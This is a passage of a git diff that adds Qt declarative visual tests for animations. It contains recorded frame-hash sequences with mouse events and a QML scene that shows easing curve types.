msec: 3664 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3680 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.png new file mode 100644 index 0000000..4f75bfd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.png new file mode 100644 index 0000000..dc17765 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.png new file mode 100644 index 0000000..7f83548 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.png new file mode 100644 index 0000000..c68e0fa Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml new file mode 100644 index 0000000..d8e8688 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml @@ -0,0 +1,779 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 32 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 48 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 64 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 80 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 96 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 112 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 128 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 144 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 160 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 176 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 192 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 208 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 224 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 240 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 256 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 272 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 111; y: 419 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 288 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 304 + hash: "8f4c40d2e2b4f064bcb77c5ae43928c6" + } + Frame { + msec: 320 + hash: "8b65094a9b7d5394fc67f92ea058627f" + } + Frame { + msec: 336 + hash: "da450826b471a60ba98dabc581631ba1" + } + Frame { + msec: 352 + hash: "e820fb4f1bc97152aa940b07db549f1b" + } + Frame { + msec: 368 + hash: "b7d8186beca2fa0e37099f72419350f4" + } + Frame { + msec: 384 + hash: "8500b93774f214e5e4789e25500262b8" + } + Frame { + msec: 400 + hash: "277e1dff70285cca536b3e1fc2590688" + } + Frame { + msec: 416 + hash: "b05b18f92c2089c681661566117ae0f5" + } + Frame { + msec: 432 + hash: "6fec9c6b6ac3e3ea4126e3824a8d7566" + } + Frame { + msec: 448 + hash: "53c6c90dd1eb7ca47721fc116474aebf" + } + Frame { + msec: 464 + hash: "cf729c4a31414af3d2705878ba615738" + } + Frame { + msec: 480 + hash: "f146b8a68960d507f893ef001189220e" + } + Frame { + msec: 496 + hash: "18ff56b870bb048af246f928ee42a9b0" + } + Frame { + msec: 512 + hash: "beee98f73fe7e878ada37b3070fa0c1d" + } + Frame { + msec: 528 + hash: "435d389082912950a0be2b5dff480319" + } + Frame { + msec: 544 + hash: "dc39b080eaddeaf4e309b90b7d97a835" + } + Frame { + msec: 560 + hash: "666b1cde53f78d7db9c81e21adbe406a" + } + Frame { + msec: 576 + hash: "c5c9627f4329e48aa96ebfbc982b6ba6" + } + Frame { + msec: 592 + hash: "a583042052e5da7e80a4956337d6d1ff" + } + Frame { + msec: 608 + hash: "a4a5df787e15da6f28275a12898e7620" + } + Frame { + msec: 624 + hash: "02cacec2ccc803ebc03c5540484cbcaa" + } + Frame { + msec: 640 + hash: "00600df1f006f358feaf43bfae9d32a5" + } + Frame { + msec: 656 + hash: "737c884ba0d6d38b66252f4b97a36c33" + } + Frame { + msec: 672 + hash: "7eeeade8100c84a6b56efa51cf597baf" + } + Frame { + msec: 688 + hash: "18ab79d495097f0103dcf14db1897a88" + } + Frame { + msec: 704 + hash: "21d3b0da00c46a101e09048928cd8027" + } + Frame { + msec: 720 + hash: "a5995b0341872c275ffbc5aaee6eb853" + } + Frame { + msec: 736 + hash: "bb4a37c1bd5e412ebce54d9539017723" + } + Frame { + msec: 752 + hash: "63dcde9e2751ca94ed7d739feb359221" + } + Frame { + msec: 768 + hash: "5790c8407e2e4d1a6a937d86d57d8edb" + } + Frame { + msec: 784 + hash: "3a1c77abf6822030db60a036027dc86e" + } + Frame { + msec: 800 + hash: "2a13c573ab9846cce60384dd7138b2b4" + } + Frame { + msec: 816 + hash: "98983c2525265830033495b61071a5aa" + } + Frame { + msec: 832 + hash: "26d2bba3d77053b410715afb497d4063" + } + Frame { + msec: 848 + hash: "fd65d954c16acee425d9de65af68ef40" + } + Frame { + msec: 864 + hash: "094fcc18d28b19ac6b452dd8106d813b" + } + Frame { + msec: 880 + hash: "160105f6f99a960763535e4d51990ef6" + } + Frame { + msec: 896 + hash: "0d5d1e6a66fc1f49f1106f01fb5a1c52" + } + Frame { + msec: 912 + hash: "f6abc32680865783a4d94ecb738f9ff6" + } + Frame { + msec: 928 + hash: "350509eceb134d5b18647e5ad07dbb47" + } + Frame { + msec: 944 + hash: "a84e4e7c5385dc1f24ca219f45d529a5" + } + Frame { + msec: 960 + image: "easing.0.png" + } + Frame { + msec: 976 + hash: "efcc5ae79da3fa2f4c7d6eaa35e32d33" + } + Frame { + msec: 992 + hash: "ff4afce604c8ecb4f08d1ddef8552534" + } + Frame { + msec: 1008 + hash: "e2e63e12e9a5f8459720dd8b023ed17b" + } + Frame { + msec: 1024 + hash: "991a01f92bcfa9cd9fe98e3f39d192fc" + } + Frame { + msec: 1040 + hash: "bc3d2f0f3fac650c981457f3694c2518" + } + Frame { + msec: 1056 + hash: "ee39fc9b1a602bf813d9118aa21901ac" + } + Frame { + msec: 1072 + hash: "42120d098f2adf1e331332b33442dd3e" + } + Frame { + msec: 1088 + hash: "1660c69b77b800d1ab57b93f0fc12aa5" + } + Frame { + msec: 1104 + hash: "0630a3d6b8cb5dece5dc660f05036ec6" + } + Frame { + msec: 1120 + hash: "9163f0bd9c5888794d7a09d3359bf1e5" + } + Frame { + msec: 1136 + hash: "e0b7ad4883f679948c852ff152ba7907" + } + Frame { + msec: 1152 + hash: "f748fc44f99b706e42b899cb18dbaaf7" + } + Frame { + msec: 1168 + hash: "c84442f0cb1cf0bb50dae7d1c701aaf8" + } + Frame { + msec: 1184 + hash: "d7b41567e3f3aa9576fe2793872134b7" + } + Frame { + msec: 1200 + hash: "a1d10ff1adb85000902486fc8e4faa8d" + } + Frame { + msec: 1216 + hash: "44b7b5d77068e360ead3af84e7d80232" + } + Frame { + msec: 1232 + hash: "486c0b19c1379d9eefdf575a085e2875" + } + Frame { + msec: 1248 + hash: "1d474472856d4740d960eb2f788ca5a6" + } + Frame { + msec: 1264 + hash: "c74082553ab0f4ee00f5044e3369580b" + } + Frame { + msec: 1280 + hash: "89fcd5514f336075ad32cae69518c1e5" + } + Frame { + msec: 1296 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1312 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1328 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1344 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1360 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1376 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1392 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1408 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1424 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1440 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1456 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1472 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1488 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1504 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1520 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1536 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1552 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1568 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1584 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1600 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 111; y: 419 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1616 + hash: "9dd235eb98998d9bdd92e01300297257" + } + Frame { + msec: 1632 + hash: "b77240f32e83d4f332d815c626f1e560" + } + Frame { + msec: 1648 + hash: "7d89669231224cf8e02d75338c37c278" + } + Frame { + msec: 1664 + hash: "a8cf7c179011ee8187a8e1111683e52e" + } + Frame { + msec: 1680 + hash: "3e87a57e05da09a8260801320431b922" + } + Frame { + msec: 1696 + hash: "a2b0d99c8a232715fe03e8772a36634c" + } + Frame { + msec: 1712 + hash: "5b4634cd495ae7bb9c69a5c9c346189e" + } + Frame { + msec: 1728 + hash: "492f8f2b84af355ef41c1a7cda3a8a73" + } + Frame { + msec: 1744 + hash: "88e4eb08520fb5acc3d88ac4f0900542" + } + Frame { + msec: 1760 + hash: "0c09cdcb906b4ce9840fd7502c39e5b9" + } + Frame { + msec: 1776 + hash: "b054083bdd212cc03167a90df2d7eac5" + } + Frame { + msec: 1792 + hash: "83971c2d37616ab92680364d6ac288a6" + } + Frame { + msec: 1808 + hash: "a73951d25e2cb7c1d04c88c86dfa0e4d" + } + Frame { + msec: 1824 + hash: "31fc8b20302abac97e506c37a14bbb7e" + } + Frame { + msec: 1840 + hash: "f760ccd7339e01a9423da7b592498291" + } + Frame { + msec: 1856 + hash: "24dfcd5553f854908396de751fb15b88" + } + Frame { + msec: 1872 + hash: "1daf38a6e6199f980e9494a3eb480047" + } + Frame { + msec: 1888 + hash: "a39e2de1090209e5dbc8cc26577ec97d" + } + Frame { + msec: 1904 + hash: "f4edc780b063e34461263ed3b753be88" + } + Frame { + msec: 1920 + image: "easing.1.png" + } + Frame { + msec: 1936 + hash: "a19b0353604491f56f72be0d20d76955" + } + Frame { + msec: 1952 + hash: "9a70f109eebfcede2311ef77ceb50a44" + } + Frame { + msec: 1968 + hash: "7b28313d6860aeefd4a4e136d38d62f8" + } + Frame { + msec: 1984 + hash: "95d84f38473159fe6b38f84ffe371714" + } + Frame { + msec: 2000 + hash: "07f91261794edb0ac1fde9bb4ff36011" + } + Frame { + msec: 2016 + hash: "f9a4a6b92a9c2d265688f1bfac18fa0a" + } + Frame { + msec: 2032 + hash: "cdec7cc00380fde4f73be997a992251a" + } + Frame { + msec: 2048 + hash: "a52b34f84e98fcd8babb1d39979fc9c7" + } + Frame { + msec: 2064 + hash: "bf05b3c79a9616f2e6c33d348b30e0ba" + } + Frame { + msec: 2080 + hash: "c5931785685b4f4854d3ddfff5dd5466" + } + Frame { + msec: 2096 + hash: "bae163e02b860a9ca19d1bcb60ac1f8e" + } + Frame { + msec: 2112 + hash: "a36295a1ebb35e538f8899ae3ae3b36a" + } + Frame { + msec: 2128 + hash: "b6448d61803d9b2c05b438aa8ce8bcd5" + } + Frame { + msec: 2144 + hash: "631bf4caff2d93ef96a426100ffc5b32" + } + Frame { + msec: 2160 + hash: "a8777c84a03996493f719f5fcfc80d00" + } + Frame { + msec: 2176 + hash: "86e1759df103ef776bb03f24941f49da" + } + Frame { + msec: 2192 + hash: "01a790ea60adeaf368c66bd53aa8fcb3" + } + Frame { + msec: 2208 + hash: "79e5aca8ef6b9764f7f99cdfb51222ae" + } + Frame { + msec: 2224 + hash: "82d10cc01b9be4683c5aa76096bd462c" + } + Frame { + msec: 2240 + hash: "95d961a92c597e432611947f7480796a" + } + Frame { + msec: 2256 + hash: "e8ee89b5313c7e2c66741fe1c2090029" + } + Frame { + msec: 2272 + hash: "2e3e8cf25dc1a3f09e7bf2a086f8e3bb" + } + Frame { + msec: 2288 + hash: "68ca8ad381f48db23d2bc5da9da0c17a" + } + Frame { + msec: 2304 + hash: "e29f2411667049e8fae6c080f61c5869" + } + Frame { + msec: 2320 + hash: "5b0a6fadedf3024e8ecb7f2c73a2277d" + } + Frame { + msec: 2336 + hash: "af2eac625ef1fd928093ccd60bc0058e" + } + Frame { + msec: 2352 + hash: "8a1ff780ebdc9e416e60ea0940e8f2d6" + } + Frame { + msec: 2368 + hash: "7eb316c51cfd8ad972b7040247a651eb" + } + Frame { + msec: 2384 + hash: "1bac7075c10c87a69e71c3859f0db41d" + } + Frame { + msec: 2400 + hash: "0f16f40567729065cf9ecfcc15395a7b" + } + Frame { + msec: 2416 + hash: "719f4e776776f0db5c68ae7c6177e9b7" + } + Frame { + msec: 2432 + hash: "75172dbf31fd8d706f54748c59099845" + } + Frame { + msec: 2448 + hash: "d730b550e05167b05350e0e6636dd97d" + } + Frame { + msec: 2464 + hash: "e1f33eb5f023d9d42a99f8bc23223c45" + } + Frame { + msec: 2480 + hash: "8a4b0df5bed6c7be73c194ce2bb6a271" + } + Frame { + msec: 2496 + hash: "44a9ea371f12d4ac3a569121a995ae16" + } + Frame { + msec: 2512 + hash: "14747e2e9e072210b9d6db50b4f704a1" + } + Frame { + msec: 2528 + hash: "eea52abf430f8cc1adc37e7180036584" + } + Frame { + msec: 2544 + hash: "0a9f6b14bc02e929a45bf4ebb736f9d3" + } + Frame { + msec: 2560 + hash: "a68a6eef0fc8754564c47c88b60d9a2a" + } + Frame { + msec: 2576 + hash: "eeb469e2fbda131d83538055e88ecdf7" + } + Frame { + msec: 2592 + hash: "0f7b673472050e807c9d935fde5afd83" + } + Frame { + msec: 2608 + hash: "80c90cce66bdd2324ca98bc591c22b44" + } + Frame { + msec: 2624 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2640 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2656 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2672 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2688 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2704 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2720 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2736 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2752 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2768 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2784 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2800 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2816 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2832 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2848 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2864 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2880 + image: "easing.2.png" + } + Frame { + msec: 2896 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2912 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2928 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2944 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2960 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2976 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 2992 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 3008 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } + Frame { + msec: 3024 + hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/easing/easing.qml b/tests/auto/declarative/qmlvisual/animation/easing/easing.qml new file mode 100644 index 0000000..4248d88 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/easing/easing.qml @@ -0,0 +1,193 @@ +import Qt 4.6 + +Rectangle { + id: item + width: 600 + height: layout.height + color: "white" + resources: [ + ListModel { + id: easingtypes + ListElement { + type: "Linear" + } + ListElement { + type: "InQuad" + } + ListElement { + type: "OutQuad" + } + ListElement { + type: "InOutQuad" + } + ListElement { + type: "OutInQuad" + } + ListElement { + type: "InCubic" + } + ListElement { + type: "OutCubic" + } + ListElement { + type: "InOutCubic" + } + ListElement { + type: "OutInCubic" + } + ListElement { + type: "InQuart" + } + ListElement { + type: "OutQuart" + } + ListElement { + type: "InOutQuart" + } + ListElement { + type: "OutInQuart" + } + ListElement { + type: "InQuint" + } + ListElement { + type: "OutQuint" + } + ListElement { + type: "InOutQuint" + } + ListElement { + type: "OutInQuint" + } + ListElement { + type: "InSine" + } + ListElement { + type: "OutSine" + } + ListElement { + type: "InOutSine" + } + ListElement { + type: "OutInSine" + } + ListElement { + type: "InExpo" + } + ListElement { + type: "OutExpo" + } + ListElement { + type: "InOutExpo" + } + ListElement { + type: "OutInExpo" + } + ListElement { + type: "InCirc" + } + ListElement { + type: "OutCirc" + } + ListElement { + type: "InOutCirc" + } + ListElement { + type: "OutInCirc" + } + ListElement { + type: "InElastic" + } + ListElement { + type: "OutElastic" + } + ListElement { + type: "InOutElastic" + } + ListElement { + type: "OutInElastic" + } + ListElement { + type: "InBack" + } + ListElement { + type: "OutBack" + } + ListElement { + type: "InOutBack" + } + ListElement { + type: "OutInBack" + } + ListElement { + type: "OutBounce" + } + ListElement { + type: "InBounce" + } + ListElement { + type: "InOutBounce" + } + ListElement { + type: "OutInBounce" + } + } + ] + Column { + id: layout + anchors.left: item.left + anchors.right: item.right + Repeater { + model: easingtypes + Component { + Rectangle { + id: block + Text { + text: type + anchors.centerIn: parent + font.italic: true + color: index & 1 ? "black" : "white" + opacity: 0 // 1 for debugging + } + width: 120 + height: 18 + color: index & 1 ? "red" : "blue" + states: [ + State { + name: "from" + when: !mouse.pressed + PropertyChanges { + target: block + x: 0 + } + }, + State { + name: "to" + when: mouse.pressed + PropertyChanges { + target: block + x: item.width-block.width + } + } + ] + transitions: [ + Transition { + from: "*" + to: "to" + reversible: true + NumberAnimation { + properties: "x" + easing.type: type + duration: 1000 + } + } + ] + } + } + } + } + MouseArea { + id: mouse + anchors.fill: layout + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/easing/pics/qtlogo.png b/tests/auto/declarative/qmlvisual/animation/easing/pics/qtlogo.png new file mode 100644 index 0000000..399bd0b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/easing/pics/qtlogo.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.png new file mode 100644 index 0000000..f4301d3 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.png new file mode 100644 index 0000000..ceb0e20 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.png new file mode 100644 index 0000000..197c8c0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.png new file mode 100644 index 0000000..3a4327e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.png new file mode 100644 index 0000000..2397719 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.png new file mode 100644 index 0000000..70d91a2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml new file mode 100644 index 0000000..8804d44 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml @@ -0,0 +1,1471 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "eff7cc4b163dceb6084270cc589393f1" + } + Frame { + msec: 32 + hash: "1012b52727ae98522061945e32a6269a" + } + Frame { + msec: 48 + hash: "06c3f3c1fa014b0eb7341e0a45ca16e4" + } + Frame { + msec: 64 + hash: "71ecb0af25649c056310d3b865d4144d" + } + Frame { + msec: 80 + hash: "e249fe5b113797433f96a2f84d47e42b" + } + Frame { + msec: 96 + hash: "2a7256921c25c79c22263f2b48d4e98c" + } + Frame { + msec: 112 + hash: "8657944b456402622f2991a0c9acc2fb" + } + Frame { + msec: 128 + hash: "c919a94cd7afb1fbad4c88537af00869" + } + Frame { + msec: 144 + hash: "303b5057d94e328f9447a01d54eea93d" + } + Frame { + msec: 160 + hash: "72eb974dc008c9454935b18b47d4d9e6" + } + Frame { + msec: 176 + hash: "545f258cb0ec7f5d951b74cc7d3f4f0d" + } + Frame { + msec: 192 + hash: "3b3d6046fb01adf7c8a7f67bbc46d28e" + } + Frame { + msec: 208 + hash: "12f7556076cf7a4c2f029dab80e666e7" + } + Frame { + msec: 224 + hash: "fab272c7dce2bbee4042764d38c7ceb5" + } + Frame { + msec: 240 + hash: "ff8addee408527bbaed1819bae07c23f" + } + Frame { + msec: 256 + hash: "53eb6f575db2af3635139e5ddbd7b2f9" + } + Frame { + msec: 272 + hash: "a2fa1cf169acb8ff26a2c5ec1f1d5c81" + } + Frame { + msec: 288 + hash: "ab8d5d6d146ed11b92bc93e78f28e50c" + } + Frame { + msec: 304 + hash: "0fbfc6609b082008e44592067b18ab63" + } + Frame { + msec: 320 + hash: "7fbeda19c19c62a0af5f7f98e633993f" + } + Frame { + msec: 336 + hash: "1882b591bc9d4e79d69d0baecb78b700" + } + Frame { + msec: 352 + hash: "dde429007f876206f3ec0c68d239983e" + } + Frame { + msec: 368 + hash: "b656bdba2978a9a1af511cc2bb0cb59a" + } + Frame { + msec: 384 + hash: "1f6573bf67b2893c94f0c2d40213dc73" + } + Frame { + msec: 400 + hash: "f5786fb532300a1b2f820251fc17c775" + } + Frame { + msec: 416 + hash: "a0e9c4bd3b6c4cdadd40bdf3ca5e2986" + } + Frame { + msec: 432 + hash: "073f74ab23a1173025b3c63424ce2697" + } + Frame { + msec: 448 + hash: "1ac1367d21e346c6c652a88b9ea25bfc" + } + Frame { + msec: 464 + hash: "f62720308dc9ae67c3856bc3afb32b75" + } + Frame { + msec: 480 + hash: "066476a57efba802d2497bc3731a3583" + } + Frame { + msec: 496 + hash: "fb965028a760e8d0a4d81fd982a18ff3" + } + Frame { + msec: 512 + hash: "ba008abd1a7a73c750b909d57c043649" + } + Frame { + msec: 528 + hash: "4c974470953f74d1ee7bcd0f4a4c48cf" + } + Frame { + msec: 544 + hash: "ea233f3476da26c90d67b7775b718aa2" + } + Frame { + msec: 560 + hash: "e12c3b810c0aa628d7a3827453bea9f3" + } + Frame { + msec: 576 + hash: "7451954ca0465c430fc4bae84f6d97cb" + } + Frame { + msec: 592 + hash: "503e40f193a8b099daa4013eddc2f664" + } + Frame { + msec: 608 + hash: "1f81acf94f325a51faa7aa61e73f8a25" + } + Frame { + msec: 624 + hash: "0257d7d53eda8afe182a9f97ef451679" + } + Frame { + msec: 640 + hash: "cfc260bdc977ef16311840022cc85378" + } + Frame { + msec: 656 + hash: "27483f0b89d727b32722ea153fad30ad" + } + Frame { + msec: 672 + hash: "355afa11b8e7b24a353d1aa79daf7564" + } + Frame { + msec: 688 + hash: "bbc1d55f346719476f471a2294227bda" + } + Frame { + msec: 704 + hash: "9bbab5ff75219d8bd65022c6d061e57a" + } + Frame { + msec: 720 + hash: "ff0699f02845f3c5cf5aabb19198c346" + } + Frame { + msec: 736 + hash: "26768e09270ade4c5b484154e7042f43" + } + Frame { + msec: 752 + hash: "31c9ae63071de3fb2f7e1836a22515cb" + } + Frame { + msec: 768 + hash: "783ce2acdae8d87883151532c9293336" + } + Frame { + msec: 784 + hash: "86b9fd739f437127e0cc4d7dcd4284bd" + } + Frame { + msec: 800 + hash: "5e1d6e164dd184cc197d514e5ff60a4c" + } + Frame { + msec: 816 + hash: "13063a8d73704165d64dd2a95803ec0f" + } + Frame { + msec: 832 + hash: "c244e0c0d60f4be2e017bba21a17ab3f" + } + Frame { + msec: 848 + hash: "b3bd657873f1b49c888b9b98d8c0e23f" + } + Frame { + msec: 864 + hash: "65a011e4f62ecddd820bdbdeb0084b65" + } + Frame { + msec: 880 + hash: "86018de7b4a93b267fe94c4de9e61bab" + } + Frame { + msec: 896 + hash: "44827055c99ae3ed924c101c9d1be5c5" + } + Frame { + msec: 912 + hash: "1c31fcb20ec1abc7ea815b703ae05363" + } + Frame { + msec: 928 + hash: "9d7825b7b05ca696846a4116ab27f966" + } + Frame { + msec: 944 + hash: "61b6690dd14fc76dbac4d785bbddb8ee" + } + Frame { + msec: 960 + image: "loop.0.png" + } + Frame { + msec: 976 + hash: "2cc40e1119060483ae067f3881af0391" + } + Frame { + msec: 992 + hash: "9747fdff3429f7a2dbc9e3173ad43a67" + } + Frame { + msec: 1008 + hash: "e68058b9565138f2d7f0f96b74c38dec" + } + Frame { + msec: 1024 + hash: "f32aceabb929471dffd73bf0290e75a2" + } + Frame { + msec: 1040 + hash: "9112838cc8f9a0cfb94e0ef6ca7eca71" + } + Frame { + msec: 1056 + hash: "53bd2c46e3a11db0ee151a6a0311b3a8" + } + Frame { + msec: 1072 + hash: "d5105f958a592324e53aae4a83beb049" + } + Frame { + msec: 1088 + hash: "862249432e6fc6114b63284ad9c97cb6" + } + Frame { + msec: 1104 + hash: "3e6a6f505aa146a6789434d265ad4d3b" + } + Frame { + msec: 1120 + hash: "0f5b2b05f72b86bd2b0a6d0ea2b6bf37" + } + Frame { + msec: 1136 + hash: "922520f7ec954d6d1061208cbd63877e" + } + Frame { + msec: 1152 + hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" + } + Frame { + msec: 1168 + hash: "ebb41112b687ecb062dedc3b49cb93fc" + } + Frame { + msec: 1184 + hash: "7bc87d71d532aa52abc26ac9c1cbb665" + } + Frame { + msec: 1200 + hash: "1a7a81f851c8817cac3cc0cb7ac07971" + } + Frame { + msec: 1216 + hash: "ca17c870c55f2947bb5f85d28f30ee7c" + } + Frame { + msec: 1232 + hash: "48b123cfd6d2ea1c2bc9f2ba822ec7bf" + } + Frame { + msec: 1248 + hash: "2a6b8aecef26793e200993dc1e25fd95" + } + Frame { + msec: 1264 + hash: "f10a0a11ed54a910fe434311f67343a4" + } + Frame { + msec: 1280 + hash: "47b6e1beabdcd3cd3d21d77c62e5bed8" + } + Frame { + msec: 1296 + hash: "1eea7eb2853a9e7a1a69738667457b7a" + } + Frame { + msec: 1312 + hash: "9e018f9e7a5ba22bbb9be3049373124a" + } + Frame { + msec: 1328 + hash: "d63069a8e7b0eb5611cc34caaecef2fb" + } + Frame { + msec: 1344 + hash: "def9383a090e4454343725f1a7c4fb3d" + } + Frame { + msec: 1360 + hash: "fd3036e559fd31eeadb0032666a95864" + } + Frame { + msec: 1376 + hash: "cf9f82b9e2a03f63f75b6ac113b3d4e5" + } + Frame { + msec: 1392 + hash: "346e7f597cfb4fc51d5393e705deddd5" + } + Frame { + msec: 1408 + hash: 